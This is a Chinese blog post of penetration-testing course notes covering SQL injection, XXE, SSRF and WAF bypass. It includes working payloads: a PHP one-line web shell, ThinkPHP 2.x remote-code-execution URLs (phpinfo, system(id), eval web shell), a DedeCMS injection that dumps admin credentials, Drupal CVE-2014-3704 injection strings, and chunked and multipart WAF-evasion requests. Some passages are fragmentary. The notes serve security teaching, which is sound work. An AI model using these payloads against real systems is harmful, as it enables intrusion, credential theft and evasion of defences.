渗透测试学习Week1(奇安信南航暑期培训)

SQL 注入(Structured Query Language Injection)

攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到让后台数据库执行恶意的SQL命令的目的,并根据程序返回结果,获得某些攻击者想得知的数据。

(数据内容从数据库中读取)

单引号判断是否存在SQL注入漏洞

SQL语句:select * from user where id = '',参数放在单引号内表示为一个字符串

构造语法错误:在SQL语句中单引号都是成对出现的,我们可以在地址后面加上一个单引号来构造语法错误,如果服务器返回了错误的提示信息,则说明这条语句执行了。

eg. 输入123'(或者直接') -> SQL语句:select * from 表名 where 字段='123''出现语法错误

用 1=1,1=2测试是否存在注入漏洞

#为注释符 -> '#不会造成语法错误

eg. 输入1'# -> SQL语句 select * from user where id = '1' #'

or为SQL的连接选项

eg. 输入1' or 1=1# 这句话永真;若运行后出现了查询的所有东西,即表明对应的SQL语句执行了,那么久存在SQL注入漏洞。若永假,如果语句被执行,则会出现相应的错误提示或者页面未显示数据。

利用order by判断数据库列名(判断列数)

order by语句后可以使用数字指代列名,这样就可以被利用来对列数进行统计了。

select * from user where id = '1' order by 4 #'; (判断字段数)

select * from user where id = '1' union select 1,2,3,4 #' (查看回显点)

select * from user where id = '1' union select 1,version(),3,4 #' (查数据库版本号)

一句话木马

可以管理文件 (容易被waf拦截)

<?php eval($_POST[123]);?> 参数为123

工作原理:首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

菜刀:url + 参数 -> 执行 eval(123)

XSS

文件上传漏洞

XXE

XML外部实体注入(与sql像)

XML:可扩展标记语言(像HTML标记语言)

DTD:对每一个XML文件的格式描述(内部/外部/公有DTD)

DTD实体 (变量)

  • 内部实体: --> &xxe; (调用xxe)

  • 外部实体:

  • 2参数实体:

eg. <?xml version="1.0",encoding="UTF-8">

用户输入

User1

User2

分类

  • 正常回显XXE
  • 报错XXE
  • Blind XXE

反序列化漏洞

反序列化漏洞是暴露或间接暴露反序列化API,导致用户可以操作传入数据

SSRF漏洞

攻击者利用SSRF漏洞通过服务器发起伪造请求,这样久可以访问到内网的数据

http://xxxx/think.php?path=http://ww.x.com

http://xxxx/think.php?path=/xxx/a.php

ThinkPHP框架漏洞

ThinkPHP 2.x命令执行漏洞

使用preg_replace/e模式匹配路由,导致用户的输入参数被插入双引号执行,造成的任意代码执行漏洞

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

preg_replace替换函数

preg_replace('正则规则','替换字符','目标字符')

——如果目标字符中存在符合正则规则的字符,那么就替换为替换字符;若此时正则规则中使用了/e修饰符,则存在代码执行漏洞

/e 正则匹配,配合preg_replace()使用,可以把匹配来的字符串当作正则表达式执行

简单例子:

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='aaa$caaa';
$c="CXK";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b)

运行结果:

This func is run  CXK .

即在preg_replace函数中,先根据正则匹配规则匹配到了目标字符中的$c,并用$a(test("\1"))去替换并执行该函数,而执行时该函数的参数为$b中被替换的字符(即这里的$c)

'$var[\'\\1\']="\\2";':是对一个数组做操作

(\w+)\/([^/]+):正则表达式,表示取路径的每两个参数

示例代码:

<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);


print_r($var);

运行结果:

Array
(
    [a] => b
    [c] => d
    [e] => f
)

即第一个参数作为数组的键,第二个参数作为值;所以这里若$b可控制,则可以引发代码执行;注意这里只有值的位置为代码才可以执行(我也不知道为啥)

ThinkPHP

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
POC

获取phpinfo()界面

http://192.168.1.10:8080/index.php?s=/index/index/name/${@phpinfo()}

获取当前用户ID

http://192.168.1.10:8080/index.php?s=/index/index/name/${@system(id)}

GetShell (菜刀连接)

http://192.168.1.10:8080/index.php?s=a/b/c${@print(eval($_POST[1]))}

其他参考链接:https://www.freebuf.com/sectool/223149.html

ThinkPHP5.0命令执行漏洞

Struts2框架漏洞

S2-003漏洞

允许执行OGNL语句;该漏洞允许恶意用户绕过ParametersInterceptor(参数拦截器)内置的#(用于定义变量)使用保护,从而能够操作服务器端上下文对象

S2-005漏洞

S2-045/S2-046漏洞

构造而已Content-Type值执行RCE攻击(远程代码执行)

S2-057漏洞

CMS漏洞

WordPress4.6远程代码执行漏洞

将shell.sj放进公网的服务器

0<&139-;exec 139>

DedeCMSV5.6漏洞

EXP

作用就是回显userid + pwd (将其格式规整后更清晰看)

http://192.168.1.100:84/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

DeddeCMS V57版本漏洞——后台任意文件上传

DrupalCMS

CVE-2014-3704 SQL注入攻击

update_xml(0,concat(0xa,database()),0)

  1. (有点像报错注入 -> database()) 得到数据库名;

    在burp抓的登录包中修改pass字段 (Repeater项)

    POC (爆库)

    pass=lol&from_build_id=&from_id=user_login_block&op=Log+in&name[0 or updateexml(0,concat(0xa,(database()),0)%23)]=bob&name[0]=a
    

    --> Drupal

  2. 然后去找表名

    爆表,查询出Drupal库下所有的表名

    lol&from_build_id=&from_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT table_name FROM information_schema.tables WHERE table_schema like database() limit 70,1),0)%23]=bob&name[0]=a
    
  3. 查询列名

    爆字段

  4. 爆数据,根据上一步查询出的字段,选择用处比较大的字段(name、pass)

    updatexml(0,concat(0xa,database()),111111)
    在输出database()时后面会带上 111111
    

绕过Web防火墙

WAF:web应用防火墙

  • WAF类型

  • WAF绕过

    (要知道他过滤了什么)

    • 注释符绕过 (/,#,'...)
    • 编码绕过(base64,hex...)
    • HTTP协议绕过
    • 白名单IP绕过
    • Pipline绕过
  • WAF识别

    • Wafw00f工具识别 wafw00f 域名(多)
    • SQLMap工具(少)
    • 手工识别(与工具识别无差)
      • 请求HTTP包分析相应数据
      • 请求恶意字符分析响应或敏感页面

pipeline绕过

利用HTTP的管道化技术;可以在发送请求的同时发送多个HTTP请求。

即在第二个请求包放入恶意代码(不包含cookie,第一个包含)

in HTTP Header

content-length:HTTP body长度 (一定要取消勾选Repeater选项下update Content-length in burp即关闭更新)

connection:keep-alive

双请求包请求,响应两次,大多WAF仅检测第一个请求,所以第二个即可绕过(旧版本WAF)

分块传输绕过

分块传输编码机制;将数据分块

in HTTP Header(请求头)

添加Transfer-Encoding: chunked

in HTTP body

将需要传输的数据进行分块,在数据包中将构造的获取数据库用户信息的payload:id=1' union select 1,user() ,进行分块添加:

2;hello,world
id
3
=1'
 un
3
ion
3
 se
2
le
2
ct
3
 1,
2
us
2
er
2
()
3
%23
0


开头 2代表下面这个数据的个数,因为下面数据是id,所以是2;后面添加的分号;代表注释,可以添加随机字符来干扰WAF,以后的数字长度也可以加上分号以及注释干扰参数(提高绕过的几率),接收参数id一共就两个字母,所以上面的个数为2,下面同理

其中,分块的数据长度数值必须为16进制;分为:每一块长度值为1行,数据1行

分块传输表示结束的方式:一个0以及两个换行符

HTTP协议覆盖绕过

更换Content-Type类型来绕过WAF的检测

in HTTP header

构造multipart/form-data协议(可以理解为一个请求头和一个请求体组合而成的)的方式进行绕过测试,可以通过更改数据包的Content-Type值以及对应构造含有相应分隔符的请求体实现WAF绕过

正常的POST请求方式:id=123

但在该协议中发送这个需要form-data:name="id"指定id值,然后换行输入传输的123内容

改为:multipart/form-data +

boundary=test

boundary=test,teast;boundary=test (test随机写,其作用代表分隔符)

Content-Type:multipart/from-data;boundary=test 

也可以加上 编码(绕过)

也可以配合分块传输

in HTTP body

--test

...



1’ union select 1,user()# 	(sql语句)

--test

即请求内容:

  1. 分隔符开始
  2. 指定值
  3. 一定要先回车一行之后再输入内容
  4. 分隔符结尾
posted @ 2022-07-10 14:16  hyq2  阅读(195)  评论(0编辑  收藏  举报